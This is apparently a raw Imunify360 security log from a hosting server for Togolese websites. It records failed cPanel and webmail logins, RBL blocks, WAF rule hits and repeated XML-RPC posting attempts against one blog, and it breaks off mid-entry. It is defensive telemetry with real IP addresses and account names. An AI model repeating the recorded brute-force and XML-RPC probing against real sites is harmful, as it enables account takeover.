Jun 14 22:51:18 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 178.171.38.147
country_id: 2017370
description:
[2026-06-14 22:53:06 +0000] info [cpaneld] 178.171.38.147 - ucaouut "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.174.250.168
country_id: 1562822
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/ HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 14 22:56:09 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-14 22:56:11 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:16833: 535 Incorrect authentication data (set_id=remix)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.81.121.147
country_id: 1814991
description:
52.81.121.147 - - [14/Jun/2026:22:57:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9725893&pdata=https%253A%252F%252Fwww.techinoov.free.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781477840 HTTP/2.0" 302 0 www.techinoov.free.netmaster.tg "https://www.techinoov.free.netmaster.tg/" "Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.1143.1770 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.81.121.147


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 65.111.26.120
country_id: 2510769
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-59.65.111.26.120||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 14 22:59:18 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.40.51.50
country_id: 6252001
description:
[2026-06-14 22:59:56 +0000] info [webmaild] 149.40.51.50 - hilaire.mensah@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 14 23:01:56 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 50.6.7.235
country_id: 6252001
description:
[2026-06-14 23:04:13 +0000] info [cpaneld] 50.6.7.235 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.139
country_id: 130758
description:
Jun 14 23:04:59 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.139 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.139
country_id: 130758
description:
2026-06-14 23:05:01 dovecot_login authenticator failed for H=(localhost) [62.60.130.139]:64162: 535 Incorrect authentication data (set_id=compta)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:de4dc8741593b4d1b9badb30456f197643eb5279||Title:0tasjjrl4oyybtnk||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33375
name: IM360 WAF: XMLRPC fault response
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XMLRPC fault response||MV:<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<methodResponse>\n  <fault>\n    <value>\n      <struct>\n        <member>\n          <name>faultCode</name>\n          <value><int>403</int></value>\n        </member>\n        <member>\n          <name>faultString</name>\n          <value><string>Identifiant ou mot de passe incorrect.</string></value>\n        </member>\n      </struct>\n    </value>\n  </fault>\n</methodResponse>\n||RSV:8.16||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 108.165.69.203
country_id: 2750405
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.16||T:APACHE||RA:108.165.69.203||TA:108.165.69.203||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:dbfdcafa6ea39007adbc81794c49fe8cb0832447||Title:fa33eob6v2om7i||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.46.87
country_id: 6252001
domain: djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/djama.tg/sitemap_index.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.47.105
country_id: 6252001
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/news-sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:8773be854cf138d87c6b69601670f816bce27e46||Title:dj7j0sfre3aq8mqocd||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.47.10
country_id: 6252001
domain: djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/djama.tg/robots.txt HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.47.10
country_id: 6252001
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/sitemap.xml.gz HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.47.100
country_id: 6252001
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/sitemap_index.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.46.80
country_id: 6252001
domain: djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/djama.tg/sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.46.82
country_id: 6252001
domain: djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/djama.tg/sitemap.xml.gz HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.46.95
country_id: 6252001
domain: djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/djama.tg/news-sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.47.104
country_id: 6252001
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/robots.txt HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 104.207.46.93
country_id: 6252001
domain: djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/djama.tg/wp-sitemap.xml HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.20.210.21
country_id: 2921044
description:
Jun 14 23:09:21 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.20.210.21 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:869a27e04a579b7a2ecd055ef319cbdd6ef50e76||Title:t5z0nfwq7in9dinc||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:856fd09f6ca8b5b4d056a754cdacca1c7fea000a||Title:t00ir8jh5kzbqjg2l||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.62
country_id: 1880251
description:
47.128.121.62 - - [14/Jun/2026:23:10:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13343385&pdata=http%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fpolitique%252Fpage%252F17%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781478642 HTTP/1.1" 302 0 togodailynews.tg "http://togodailynews.tg/category/politique/page/17/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.62


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:cc2ea5522a1ff5471237e2957196b88195fd2210||Title:c1cay4t3hvya2q3||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.122.123
country_id: 1880251
description:
47.128.122.123 - - [14/Jun/2026:23:11:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932842&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fpolitique%252Fpage%252F18%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781478690 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/politique/page/18/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.122.123


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9d1710d7133aac7bb8df2a4735c8617e0d984925||Title:5sj3r6k2g54jfauu||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:de061ae214e99146a4126eeb488f1b3c48f2e3ed||Title:18bo3nhbk5wzep8||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 104.28.156.104
country_id: 1880251
domain: ucao-uut.tg
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6ed681c54a905fb00d0725c0520dc145d4e7044f||Title:btko7pf5mpm6b3sbs||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:b823cb649db0d5217bc531a7db8e382532295107||Title:2c616qd4ex48n16ov7||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:7f730ecaf3624e12cacbe5ba08735503caf5a68c||Title:6ur353xgpdzats0d5||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:757d822f52a2cb23c35ca7dd4849bf9673303cd4||Title:ux3fs3wepsmoobt0||RSV:8.16||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.34.200
country_id: 2395170
description:
Jun 14 23:17:32 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.34.200 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.78.89.29
country_id: 298795
description:
Jun 14 23:17:50 ns5 auth[3477731]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.78.89.29 has been locked due to Imunify RBL


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:1559c5cbc00388ac1968af72f66c4e9457529016||Title:rkrlmoxjvqui3pu||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.150.156.249
country_id: 6252001
description:
34.150.156.249 - - [14/Jun/2026:23:18:43 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9661543&pdata=https%253A%252F%252Fdagl.tg%252Farticles%252F139-le-grand-lome-dispose-desormais-dune-antenne-regionale-de-la-chambre-de-commerce-et-dindustrie-du-togo&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781479121 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg/articles/139-le-grand-lome-dispose-desormais-dune-antenne-regionale-de-la-chambre-de-commerce-et-dindustrie-du-togo" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36 PTST/260602.124101" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.150.156.249


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 158.46.171.157
country_id: 1605651
description:
[2026-06-14 23:18:49 +0000] info [cpaneld] 158.46.171.157 - arsetg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.241.41.253
country_id: 146669
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_fa757170427f0ca61fdafc865cbd50f1.css?ver=1.0.0 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.207.75
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/plugins/gtranslate/flags/svg/fr.svg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fad6eabc74b5d5ded81950efacda15704eb74fa3||Title:ezj1gg5ywp303ax5d||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.95.106.222
country_id: 1562822
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-includes/css/dashicons.min.css?ver=6.9.4 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.240.241.31
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_b8f1656fe74917c0889f45e66ede5492.css?ver=1.0.0 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.150.156.249
country_id: 6252001
description:
34.150.156.249 - - [14/Jun/2026:23:20:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6802026&pdata=https%253A%252F%252Fdagl.tg%252Farticles%252F139-le-grand-lome-dispose-desormais-dune-antenne-regionale-de-la-chambre-de-commerce-et-dindustrie-du-togo&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781479201 HTTP/2.0" 302 0 dagl.tg "https://dagl.tg/articles/139-le-grand-lome-dispose-desormais-dune-antenne-regionale-de-la-chambre-de-commerce-et-dindustrie-du-togo" "Mozilla/5.0 (Linux; Android 8.1.0; Moto G (4)) AppleWebKit/537.36 (KHTML like Gecko) Chrome/149.0.0.0 Mobile Safari/537.36 PTST/260602.124101" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.150.156.249


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.207.75
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/?wmcAction=wmcTrack&action_name=Le syst\xc3\xa8me sanitaire togolais se transcende | TOGODAILYNEWS&siteId=1&rec=1&rand=939630&h=7&m=20&s=14&url=http:/togodailynews.tg/le-systeme-sanitaire-togolais-se-transcende/&uid=0&pid=5728&visitorId=534bd9f516d4d441&fvts=1781479215&vc=1&idn=0&refts=0&lvts=1781479215&fullRef=togodailynews.tg/le-groupe-orabank-engage-a-servir-ses-clients-avec-rigueur-et-professionnalisme&send_image=1&cookie=1&res=375x812&gtms=2302&pvId=NUEWmi&browser=Chrome_40&os=Android_5.0&device=Mobile HTTP/1.1||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.122.170.10
country_id: 2750405
description:
[2026-06-14 23:21:05 +0000] info [webmaild] 185.122.170.10 - ymintre@otr.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 31.56.115.151
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:le-systeme-sanitaire-togolais-se-transcende/||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 36.69.6.221
country_id: 1643084
domain: butodra.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.butodra.tg||ServerName:butodra.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9df8dfcfc0b6d76f28b6e43f7f5f32669166f771||Title:f8jin6x4i5zjrpyemm||RSV:8.16||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 104.207.35.161
country_id: 6252001
description:
[2026-06-14 23:22:05 +0000] info [cpaneld] 104.207.35.161 - ayhhhyhk "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ayhhhyhk (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 41.249.35.2
country_id: 2542007
description:
41.249.35.2 - - [14/Jun/2026:23:22:53 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6909081&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fpolitique%252Fpage%252F27%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781479372 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/politique/page/27/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.9371.1638 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:41.249.35.2


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 202.29.18.30
country_id: 1605651
description:
[2026-06-14 23:22:52 +0000] info [webmaild] 202.29.18.30 - hilaire.mensah@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 161.0.1.13
country_id: 6252001
description:
[2026-06-14 23:23:35 +0000] info [webmaild] 161.0.1.13 - ptitrikou@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.62
country_id: 1880251
description:
47.128.121.62 - - [14/Jun/2026:23:23:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10144413&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Fpolitique%252Fpage%252F26%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781479429 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/politique/page/26/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.62


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 168.228.46.128
country_id: 6252001
description:
[2026-06-14 23:23:52 +0000] info [webmaild] 168.228.46.128 - support.technique@mesyscom.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 134.199.89.211
country_id: 6252001
description:
[2026-06-14 23:23:29 +0000] info [cpaneld] 134.199.89.211 - waywcbyw "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 149.102.244.53
country_id: 798544
description:
[2026-06-14 23:25:37 +0000] info [webmaild] 149.102.244.53 - l.amegee@ccit.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 136.227.188.185
country_id: 6252001
description:
[2026-06-14 23:26:01 +0000] info [cpaneld] 136.227.188.185 - 20834968961470 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.171.101.54
country_id: 6252001
description:
34.171.101.54 - - [14/Jun/2026:23:26:58 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9988506&pdata=https%253A%252F%252Fcaissederetraites.tg%252Fpages%252Fshow%252Fdocuments-telechargeables&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781479616 HTTP/2.0" 302 0 caissederetraites.tg "https://caissederetraites.tg/pages/show/documents-telechargeables" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36 PTST/260602.124101" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.171.101.54


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.171.101.54
country_id: 6252001
description:
34.171.101.54 - - [14/Jun/2026:23:27:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10130797&pdata=https%253A%252F%252Fcaissederetraites.tg%252Fpages%252Fshow%252Fdocuments-telechargeables&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781479643 HTTP/2.0" 302 0 caissederetraites.tg "https://caissederetraites.tg/pages/show/documents-telechargeables" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML like Gecko) Chrome/149.0.0.0 Safari/537.36 PTST/260602.124101" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.171.101.54


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.211.105
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_1ae2b2895a8976da80c9a1afa6a98e23.css?ver=1.7.12 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.211.234
country_id: 290557
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/css/autoptimize_single_254be852b9f97957423de45bce2e705f.css?ver=1.0.0 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.243.220.229
country_id: 2782113
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/cache/autoptimize/js/autoptimize_single_6aae38c1be74eaaae90e18c257493330.js?ver=1.0.0 HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.245.236.9
country_id: 2264397
domain: togodailynews.tg:80
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg:80/wp-content/uploads/2026/04/YasApp_24Heur.Info_.jpg HTTP/1.1||RSV:8.16||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 151.246.213.8
country_id: 290557
domain: togodailynews.tg:80
description:
